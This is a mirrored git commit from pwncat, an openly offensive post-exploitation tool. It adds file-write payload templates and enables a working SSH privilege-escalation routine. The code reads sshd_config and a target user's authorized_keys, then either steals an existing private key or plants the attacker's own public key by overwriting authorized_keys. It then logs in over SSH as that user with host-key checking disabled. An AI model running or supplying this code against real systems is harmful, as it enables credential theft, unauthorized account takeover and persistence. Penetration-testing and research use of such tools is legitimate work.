mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Fixed botched merge
This commit is contained in:
parent
b5f1bcb4ce
commit
38d16794fe
@ -51,6 +51,22 @@
|
||||
"exit": "{ctrl_d}"
|
||||
}
|
||||
],
|
||||
"cp": [
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "print",
|
||||
"payload": "TF=$({mktemp}); {cat} - > $TF; {command}; rm -f $TF",
|
||||
"args": ["$TF", "{lfile}"],
|
||||
"exit": "{ctrl_d}"
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "base64",
|
||||
"payload": "TF=$({mktemp}); {base64} -d > $TF; {command}; rm -f $TF",
|
||||
"args": ["$TF", "{lfile}"],
|
||||
"exit": "{ctrl_d}"
|
||||
}
|
||||
],
|
||||
// Another example
|
||||
"bash": [
|
||||
{
|
||||
|
@ -1,10 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List, Tuple
|
||||
from prompt_toolkit.shortcuts import confirm
|
||||
from colorama import Fore
|
||||
import crypt
|
||||
from time import sleep
|
||||
import socket
|
||||
from pprint import pprint
|
||||
import re
|
||||
import os
|
||||
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod
|
||||
from pwncat.privesc.setuid import SetuidMethod
|
||||
@ -19,8 +22,7 @@ from pwncat import util
|
||||
# privesc_methods = [SetuidMethod, SuMethod]
|
||||
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
|
||||
# privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
|
||||
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod]
|
||||
privesc_methods = [SuMethod, SetuidMethod]
|
||||
privesc_methods = [SuMethod, SudoMethod, SetuidMethod]
|
||||
|
||||
|
||||
class Finder:
|
||||
@ -363,19 +365,23 @@ class Finder:
|
||||
|
||||
return writer, "exit"
|
||||
|
||||
# SSH isn't working yet
|
||||
raise PrivescError()
|
||||
util.progress(f"checking for local {Fore.RED}sshd{Fore.RESET} server")
|
||||
|
||||
if len(writers) == 0 and len(readers) == 0:
|
||||
raise PrivescError("no readers and no writers. ssh privesc impossible")
|
||||
|
||||
# Check if there is an SSH server running
|
||||
sshd_running = False
|
||||
ps = self.pty.which("ps")
|
||||
if ps is not None:
|
||||
sshd_running = "sshd" in self.pty.subprocess("ps -o command -e", "r").read()
|
||||
sshd_running = (
|
||||
b"sshd" in self.pty.subprocess("ps -o command -e", "r").read()
|
||||
)
|
||||
else:
|
||||
pgrep = self.pty.which("pgrep")
|
||||
if pgrep is not None:
|
||||
sshd_running = (
|
||||
self.pty.subprocess("pgrep 'sshd'", "r").read().strip() != ""
|
||||
self.pty.subprocess("pgrep 'sshd'", "r").read().strip() != b""
|
||||
)
|
||||
|
||||
sshd_listening = False
|
||||
@ -391,17 +397,192 @@ class Finder:
|
||||
|
||||
if netstat != "":
|
||||
# Remove repeated spaces
|
||||
netstat = re.sub(" +", " ", netstat).split(" ")
|
||||
netstat = re.sub(b" +", b" ", netstat).split(b" ")
|
||||
sshd_listening = True
|
||||
sshd_address = netstat[3].split(":")[0]
|
||||
sshd_address = netstat[3].split(b":")[0].decode("utf-8")
|
||||
|
||||
used_technique = None
|
||||
|
||||
if sshd_running and sshd_listening:
|
||||
# We have an SSHD and we have a file read and a file write
|
||||
# technique. We can attempt to leverage this to use SSH to ourselves
|
||||
# and gain access as this user.
|
||||
util.info(f"found sshd listening at {sshd_address}:22")
|
||||
util.progress(
|
||||
f"found {Fore.RED}sshd{Fore.RESET} listening at "
|
||||
f"{Fore.CYAN}{sshd_address}:22{Fore.RESET}"
|
||||
)
|
||||
|
||||
raise PrivescError()
|
||||
authkeys_path = ".ssh/authorized_keys"
|
||||
with self.pty.open("/etc/ssh/sshd_config", "r") as filp:
|
||||
for line in filp:
|
||||
if line.startswith("AuthorizedKeysFile"):
|
||||
authkeys_path = line.strip().split()[-1]
|
||||
|
||||
# AuthorizedKeysFile is normally relative to the home directory
|
||||
if not authkeys_path.startswith("/"):
|
||||
# Grab the user information from /etc/passwd
|
||||
home = self.pty.users[techniques[0].user]["home"]
|
||||
|
||||
if home == "" or home is None:
|
||||
raise PrivescError("no user home directory, can't add ssh keys")
|
||||
|
||||
authkeys_path = os.path.join(home, authkeys_path)
|
||||
|
||||
util.progress(
|
||||
f"found authorized keys at {Fore.CYAN}{authkeys_path}{Fore.RESET}"
|
||||
)
|
||||
|
||||
authkeys = []
|
||||
privkey_path = None
|
||||
privkey = None
|
||||
if readers:
|
||||
reader = readers[0]
|
||||
with reader.method.read_file(authkeys_path, reader) as filp:
|
||||
authkeys = [line.strip().decode("utf-8") for line in filp]
|
||||
|
||||
# Some payloads will return the stderr of the file reader. Check
|
||||
# that the authorized_keys even existed
|
||||
if len(authkeys) == 1 and "no such file" in authkeys[0].lower():
|
||||
authkeys = []
|
||||
|
||||
# We need to read each of the users keys in the ".ssh" directory
|
||||
# to see if they contain a public key that is already allowed on
|
||||
# this machine. If so, we can read the private key and
|
||||
# authenticate without a password and without clobbering their
|
||||
# keys.
|
||||
ssh_key_glob = os.path.join(
|
||||
self.pty.users[reader.user]["home"], ".ssh", "*.pub"
|
||||
)
|
||||
# keys = self.pty.run(f"ls {ssh_key_glob}").strip().decode("utf-8")
|
||||
keys = ["id_rsa.pub"]
|
||||
keys = [
|
||||
os.path.join(self.pty.users[reader.user]["home"], ".ssh", key)
|
||||
for key in keys
|
||||
]
|
||||
|
||||
# Iterate over each public key found in the home directory
|
||||
for pubkey_path in keys:
|
||||
if pubkey_path == "":
|
||||
continue
|
||||
util.progress(
|
||||
f"checking if {Fore.CYAN}{pubkey_path}{Fore.RESET} "
|
||||
"is an authorized key"
|
||||
)
|
||||
# Read the public key
|
||||
with reader.method.read_file(pubkey_path, reader) as filp:
|
||||
pubkey = filp.read().strip().decode("utf-8")
|
||||
# Check if it matches
|
||||
if pubkey in authkeys:
|
||||
util.progress(
|
||||
f"{Fore.GREEN}{os.path.basename(pubkey_path)}{Fore.RESET} "
|
||||
f"is in {Fore.GREEN}{reader.user}{Fore.RESET} authorized keys"
|
||||
)
|
||||
# remove the ".pub" to find the private key
|
||||
privkey_path = pubkey_path.replace(".pub", "")
|
||||
# Make sure the private key exists
|
||||
if (
|
||||
b"no such file"
|
||||
in self.pty.run(f"file {privkey_path}").lower()
|
||||
):
|
||||
util.progress(
|
||||
f"{Fore.CYAN}{os.path.basename(pubkey_path)}{Fore.RESET} "
|
||||
f"has no private key"
|
||||
)
|
||||
continue
|
||||
|
||||
util.progress(
|
||||
f"download private key from {Fore.CYAN}{privkey_path}{Fore.RESET}"
|
||||
)
|
||||
with reader.method.read_file(privkey_path, reader) as filp:
|
||||
privkey = filp.read().strip().decode("utf-8")
|
||||
|
||||
# The terminal adds \r most of the time. This is a text
|
||||
# file so this is safe.
|
||||
privkey = privkey.replace("\r\n", "\n")
|
||||
|
||||
used_technique = reader
|
||||
|
||||
break
|
||||
else:
|
||||
privkey_path = None
|
||||
privkey = None
|
||||
elif writers:
|
||||
util.warn(
|
||||
"no readers found for {Fore.GREEN}{techniques[0].user}{Fore.RESET}"
|
||||
)
|
||||
util.warn(f"however, we do have a writer.")
|
||||
response = confirm(
|
||||
"would you like to clobber their authorized keys?", suffix="(y/N)"
|
||||
)
|
||||
if response.lower() != "y":
|
||||
raise PrivescError("user aborted key clobbering")
|
||||
|
||||
# If we don't already know a private key, then we need a writer
|
||||
if privkey_path is None and not writers:
|
||||
raise PrivescError("no writers available to add private keys")
|
||||
|
||||
# Everything looks good so far. We are adding a new private key. so we
|
||||
# need to read in the private key and public key, then add the public
|
||||
# key to the user's authorized_keys. The next step will upload the
|
||||
# private key in any case.
|
||||
if privkey_path is None:
|
||||
|
||||
writer = writers[0]
|
||||
|
||||
# Write our private key to a random location
|
||||
with open(self.pty.default_privkey, "r") as src:
|
||||
privkey = src.read()
|
||||
|
||||
with open(self.pty.default_privkey + ".pub", "r") as src:
|
||||
pubkey = src.read().strip()
|
||||
|
||||
# Add our public key to the authkeys
|
||||
authkeys.append(pubkey)
|
||||
|
||||
# Write the file
|
||||
writer.method.write_file(
|
||||
authkeys_path, ("\n".join(authkeys) + "\n").encode("utf-8"), writer
|
||||
)
|
||||
|
||||
used_technique = writer
|
||||
|
||||
# SSH private keys are annoying and **NEED** a newline
|
||||
privkey = privkey.strip() + "\n"
|
||||
|
||||
with self.pty.tempfile("w", length=len(privkey)) as dst:
|
||||
# Write the file with a nice progress bar
|
||||
dst.write(privkey)
|
||||
# Save the path to the private key. We don't need the original path,
|
||||
# if there was one, because the current user can't access the old
|
||||
# one directly.
|
||||
privkey_path = dst.name
|
||||
|
||||
# Ensure the permissions are right so ssh doesn't freak out
|
||||
self.pty.run(f"chmod 600 {privkey_path}")
|
||||
|
||||
# Run ssh as the given user with our new private key
|
||||
util.progress(
|
||||
f"attempting {Fore.RED}ssh{Fore.RESET} to "
|
||||
f"localhost as {Fore.GREEN}{techniques[0].user}{Fore.RESET}"
|
||||
)
|
||||
ssh = self.pty.which("ssh")
|
||||
|
||||
# First, run a test to make sure we authenticate
|
||||
command = (
|
||||
f"{ssh} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no "
|
||||
f"{techniques[0].user}@127.0.0.1"
|
||||
)
|
||||
output = self.pty.run(f"{command} echo good")
|
||||
|
||||
# Check if we succeeded
|
||||
if b"good" not in output:
|
||||
raise PrivescError("ssh private key failed")
|
||||
|
||||
# Great! Call SSH again!
|
||||
self.pty.process(command)
|
||||
|
||||
# Pretty sure this worked!
|
||||
return used_technique, "exit"
|
||||
|
||||
def escalate(
|
||||
self,
|
||||
|
Loading…
Reference in New Issue
Block a user